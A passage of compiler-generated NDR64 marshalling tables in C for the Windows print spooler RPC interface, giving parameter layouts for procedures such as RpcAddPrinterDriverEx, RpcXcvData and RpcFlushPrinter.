*/,\n        48 /* 0x30 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag1003_t __midl_frag1003 =\n{ \n/* RpcSendRecvBidiData */\n    { \n    /* RpcSendRecvBidiData */      /* procedure RpcSendRecvBidiData */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 44 /* 0x2c */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pAction */      /* parameter pAction */\n        &__midl_frag1080,\n        { \n        /* pAction */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pReqData */      /* parameter pReqData */\n        &__midl_frag1082,\n        { \n        /* pReqData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* ppRespData */      /* parameter ppRespData */\n        &__midl_frag1082,\n        { \n        /* ppRespData */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag997_t __midl_frag997 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag996_t __midl_frag996 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 16 /* 0x10 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag995_t __midl_frag995 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag996\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag994_t __midl_frag994 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag995\n};\n\nstatic const __midl_frag992_t __midl_frag992 =\n{ \n/* RpcFlushPrinter */\n    { \n    /* RpcFlushPrinter */      /* procedure RpcFlushPrinter */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 52 /* 0x34 */,\n        (NDR64_UINT32) 40 /* 0x28 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hPrinter */      /* parameter hPrinter */\n        &__midl_frag1072,\n        { \n        /* hPrinter */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pBuf */      /* parameter pBuf */\n        &__midl_frag995,\n        { \n        /* pBuf */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcWritten */      /* parameter pcWritten */\n        &__midl_frag1082,\n        { \n        /* pcWritten */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* cSleep */      /* parameter cSleep */\n        &__midl_frag1082,\n        { \n        /* cSleep */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag983_t __midl_frag983 =\n{ \n/* *DRIVER_CONTAINER */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag189\n};\n\nstatic const __midl_frag980_t __midl_frag980 =\n{ \n/* RpcAddPrinterDriverEx */\n    { \n    /* RpcAddPrinterDriverEx */      /* procedure RpcAddPrinterDriverEx */\n        (NDR64_UINT32) 19660864 /* 0x12c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, ServerCorrelation, HasExtensions */\n        (NDR64_UINT32) 32 /* 0x20 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 4 /* 0x4 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pName */      /* parameter pName */\n        &__midl_frag1080,\n        { \n        /* pName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pDriverContainer */      /* parameter pDriverContainer */\n        &__midl_frag189,\n        { \n        /* pDriverContainer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* dwFileCopyFlags */      /* parameter dwFileCopyFlags */\n        &__midl_frag1082,\n        { \n        /* dwFileCopyFlags */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag977_t __midl_frag977 =\n{ \n/* *DWORD */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 8 /* 0x8 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag1082\n};\n\nstatic const __midl_frag973_t __midl_frag973 =\n0x10    /* FC64_CHAR */;\n\nstatic const __midl_frag971_t __midl_frag971 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag1041\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag973\n    }\n};\n\nstatic const __midl_frag970_t __midl_frag970 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag971\n};\n\nstatic const __midl_frag967_t __midl_frag967 =\n{ \n/*  */\n    (NDR64_UINT32) 0 /* 0x0 */,\n    { \n    /* struct _NDR64_EXPR_VAR */\n        0x3,    /* FC_EXPR_VAR */\n        0x6,    /* FC64_UINT32 */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT32) 24 /* 0x18 */  /* Offset */\n    }\n};\n\nstatic const __midl_frag966_t __midl_frag966 =\n{ \n/* *BYTE */\n    { \n    /* *BYTE */\n        0x41,    /* FC64_CONF_ARRAY */\n        (NDR64_UINT8) 0 /* 0x0 */,\n        { \n        /* *BYTE */\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0\n        },\n        (NDR64_UINT8) 0 /* 0x0 */,\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag967\n    },\n    { \n    /* struct _NDR64_ARRAY_ELEMENT_INFO */\n        (NDR64_UINT32) 1 /* 0x1 */,\n        &__midl_frag997\n    }\n};\n\nstatic const __midl_frag965_t __midl_frag965 =\n{ \n/* *BYTE */\n    0x20,    /* FC64_RP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag966\n};\n\nstatic const __midl_frag961_t __midl_frag961 =\n{ \n/* RpcXcvData */\n    { \n    /* RpcXcvData */      /* procedure RpcXcvData */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 72 /* 0x48 */ ,  /* Stack size */\n        (NDR64_UINT32) 84 /* 0x54 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 9 /* 0x9 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x70,    /* FC64_BIND_CONTEXT */\n            (NDR64_UINT8) 64 /* 0x40 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 0 /* 0x0 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* hXcv */      /* parameter hXcv */\n        &__midl_frag1072,\n        { \n        /* hXcv */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pszDataName */      /* parameter pszDataName */\n        &__midl_frag1081,\n        { \n        /* pszDataName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pInputData */      /* parameter pInputData */\n        &__midl_frag966,\n        { \n        /* pInputData */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* cbInputData */      /* parameter cbInputData */\n        &__midl_frag1082,\n        { \n        /* cbInputData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pOutputData */      /* parameter pOutputData */\n        &__midl_frag971,\n        { \n        /* pOutputData */\n            1,\n            1,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [out], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* cbOutputData */      /* parameter cbOutputData */\n        &__midl_frag1082,\n        { \n        /* cbOutputData */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    },\n    { \n    /* pcbOutputNeeded */      /* parameter pcbOutputNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbOutputNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        48 /* 0x30 */,   /* Stack offset */\n    },\n    { \n    /* pdwStatus */      /* parameter pdwStatus */\n        &__midl_frag1082,\n        { \n        /* pdwStatus */\n            0,\n            0,\n            0,\n            1,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], [out], Basetype, SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        56 /* 0x38 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        64 /* 0x40 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag951_t __midl_frag951 =\n{ \n/* *BYTE */\n    0x21,    /* FC64_UP */\n    (NDR64_UINT8) 0 /* 0x0 */,\n    (NDR64_UINT16) 0 /* 0x0 */,\n    &__midl_frag995\n};\n\nstatic const __midl_frag948_t __midl_frag948 =\n{ \n/* RpcEnumPerMachineConnections */\n    { \n    /* RpcEnumPerMachineConnections */      /* procedure RpcEnumPerMachineConnections */\n        (NDR64_UINT32) 23986240 /* 0x16e0040 */,    /* explicit handle */ /* IsIntrepreted, ServerMustSize, ClientMustSize, HasReturn, ServerCorrelation, ClientCorrelation, HasExtensions */\n        (NDR64_UINT32) 48 /* 0x30 */ ,  /* Stack size */\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT32) 72 /* 0x48 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 6 /* 0x6 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag1080,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterEnum */      /* parameter pPrinterEnum */\n        &__midl_frag951,\n        { \n        /* pPrinterEnum */\n            1,\n            1,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], [out] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* cbBuf */      /* parameter cbBuf */\n        &__midl_frag1082,\n        { \n        /* cbBuf */\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [in], Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pcbNeeded */      /* parameter pcbNeeded */\n        &__midl_frag1082,\n        { \n        /* pcbNeeded */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* pcReturned */      /* parameter pcReturned */\n        &__midl_frag1082,\n        { \n        /* pcReturned */\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            1\n        },    /* [out], Basetype, SimpleRef, UseCache */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        32 /* 0x20 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        40 /* 0x28 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag942_t __midl_frag942 =\n{ \n/* RpcDeletePerMachineConnection */\n    { \n    /* RpcDeletePerMachineConnection */      /* procedure RpcDeletePerMachineConnection */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 24 /* 0x18 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 3 /* 0x3 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag1080,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag1081,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    }\n};\n\nstatic const __midl_frag932_t __midl_frag932 =\n{ \n/* RpcAddPerMachineConnection */\n    { \n    /* RpcAddPerMachineConnection */      /* procedure RpcAddPerMachineConnection */\n        (NDR64_UINT32) 17563712 /* 0x10c0040 */,    /* explicit handle */ /* IsIntrepreted, ClientMustSize, HasReturn, HasExtensions */\n        (NDR64_UINT32) 40 /* 0x28 */ ,  /* Stack size */\n        (NDR64_UINT32) 0 /* 0x0 */,\n        (NDR64_UINT32) 8 /* 0x8 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 0 /* 0x0 */,\n        (NDR64_UINT16) 5 /* 0x5 */,\n        (NDR64_UINT16) 8 /* 0x8 */\n    },\n    { \n    /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n        { \n        /* struct _NDR64_BIND_AND_NOTIFY_EXTENSION */\n            0x71,    /* FC64_BIND_GENERIC */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            0 /* 0x0 */,   /* Stack offset */\n            (NDR64_UINT8) 0 /* 0x0 */,\n            (NDR64_UINT8) 8 /* 0x8 */\n        },\n        (NDR64_UINT16) 0 /* 0x0 */      /* Notify index */\n    },\n    { \n    /* pServer */      /* parameter pServer */\n        &__midl_frag1080,\n        { \n        /* pServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in] */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        0 /* 0x0 */,   /* Stack offset */\n    },\n    { \n    /* pPrinterName */      /* parameter pPrinterName */\n        &__midl_frag1081,\n        { \n        /* pPrinterName */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        8 /* 0x8 */,   /* Stack offset */\n    },\n    { \n    /* pPrintServer */      /* parameter pPrintServer */\n        &__midl_frag1081,\n        { \n        /* pPrintServer */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        16 /* 0x10 */,   /* Stack offset */\n    },\n    { \n    /* pProvider */      /* parameter pProvider */\n        &__midl_frag1081,\n        { \n        /* pProvider */\n            1,\n            1,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            1,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* MustSize, MustFree, [in], SimpleRef */\n        (NDR64_UINT16) 0 /* 0x0 */,\n        24 /* 0x18 */,   /* Stack offset */\n    },\n    { \n    /* DWORD */      /* parameter DWORD */\n        &__midl_frag1082,\n        { \n        /* DWORD */\n            0,\n            0,\n            0,\n            0,\n            1,\n            1,\n            1,\n            1,\n            0,\n            0,\n            0,\n            0,\n            0,\n            (NDR64_UINT16) 0 /* 0x0 */,\n            0\n        },    /* [out], IsReturn, Basetype, ByValue */\n        